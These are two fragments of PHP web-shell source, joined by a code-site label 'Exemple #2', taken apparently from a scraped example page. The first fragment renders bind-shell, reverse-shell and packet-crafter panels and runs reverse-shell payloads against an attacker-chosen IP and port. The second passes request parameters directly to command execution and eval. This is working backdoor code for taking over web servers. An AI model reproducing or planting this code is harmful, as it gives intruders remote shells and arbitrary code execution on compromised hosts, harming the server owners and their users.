$GLOBALS['module']['network']['js_ontabselected'] = "";
$GLOBALS['module']['network']['content'] = "\n<table class='boxtbl'>\n<thead>\n\t<tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>\n</thead>\n<tbody>\n\t<tr><td style='width:120px'>Server IP</td><td><input type='text' id='bindAddr' value='" . $server_addr . "' disabled></td></tr>\n\t<tr><td>Port</td><td><input type='text' id='bindPort' value='" . $default_port . "' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>\n</tbody>\n<tfoot>\n\t<tr>\n\t\t<td style='width:120px;'>\n\t\t\t<select id='bindLang' class='rsType'>\n\t\t\t\t" . $winbinary . "\n\t\t\t</select>\n\t\t</td>\n\t\t<td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run</span></td>\n\t</tr>\n\t<tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_ip port ' on your computer</pre></td></tr>\n</tfoot>\n</table>\n<br>\n<table class='boxtbl'>\n<thead>\n\t<tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>\n</thead>\n<tbody>\n\t<tr><td style='width:120px'>Target IP</td><td><input type='text' id='backAddr' value='" . $remote_addr . "' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>\n\t<tr><td>Port</td><td><input type='text' id='backPort' value='" . $default_port . "' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>\n</tbody>\n<tfoot>\n\t<tr>\n\t\t<td style='width:120px;'>\n\t\t\t<select id='backLang' class='rsType'>\n\t\t\t\t" . $winbinary . "\n\t\t\t</select>\n\t\t</td>\n\t\t<td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>run</span></td>\n\t</tr>\n\t<tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer and press ' run ' button</pre></td></tr>\n</tfoot>\n</table>\n<br>\n<table class='boxtbl'>\n<thead>\n\t<tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr>\n</thead>\n<tbody>\n\t<tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='tcp://" . $server_addr . "' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n\t<tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>\n</tbody>\n<tfoot>\n\t<tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140px;'>GET / HTTP/1.1\\r\\n\\r\\n</textarea></td></tr>\n\t<tr>\n\t\t<td>\n\t\t\t<span class='button' onclick=\"packet_go();\" style='width:120px;'>run</span>\n\t\t</td>\n\t\t<td>You can also press ctrl+enter to submit</td>\n\t</tr>\n\t<tr><td colspan='2'><div id='packetResult'></div></td></tr>\n</tfoot>\n</table>\n";
if (isset($p['rsLang']) && isset($p['rsArgs'])) {
    $rsLang = $p['rsLang'];
    $rsArgs = $p['rsArgs'];
    $res = "";
    if ($rsLang == "php") {
        $code = get_resource("rs_" . $rsLang);
        if ($code !== false) {
            $code = "\$target = \"" . $rsArgs . "\"; ?>" . $code;
            $res = eval_go($rsLang, $code, "", "");
        }
    } else {
        $code = get_resource("rs_" . $rsLang);
        if ($code !== false) {
            $res = eval_go($rsLang, $code, "", $rsArgs);
        }
    }
    if ($res === false) {
        $res == "error";
    }
    output(html_safe($res));
} elseif (isset($p['packetTimeout']) && isset($p['packetSTimeout']) && isset($p['packetPort']) && isset($p['packetTimeout']) && isset($p['packetContent'])) {
    $packetHost = trim($p['packetHost']);
    if (!preg_match("/[a-z0-9]+:\\/\\/.*/", $packetHost)) {
        $packetHost = "tcp://" . $packetHost;
    }
    $packetPort = (int) $p['packetPort'];
    $packetTimeout = (int) $p['packetTimeout'];
    $packetSTimeout = (int) $p['packetSTimeout'];
    $packetContent = $p['packetContent'];
Exemple #2
0
        output($counter);
    }
    output('error');
} elseif (isset($p['viewFileorFolder'])) {
    $entry = $p['viewFileorFolder'];
    if (is_file($entry)) {
        output('file');
    } elseif (is_dir($entry)) {
        output('folder');
    }
    output('error');
} elseif (isset($p['terminalInput'])) {
    output(html_safe(execute($p['terminalInput'])));
} elseif (isset($p['evalInput']) && isset($p['evalType'])) {
    $evalInput = $p['evalInput'];
    $evalOptions = isset($p['evalOptions']) ? $p['evalOptions'] : "";
    $evalArguments = isset($p['evalArguments']) ? $p['evalArguments'] : "";
    $evalType = $p['evalType'];
    error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
    @ini_set('html_errors', '0');
    @ini_set('display_errors', '1');
    @ini_set('display_startup_errors', '1');
    $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments);
    if ($res === false) {
        $res == "error";
    }
    output(html_safe($res));
} elseif (isset($p['evalGetSupported'])) {
    $res = eval_get_supported();
    output($res);
}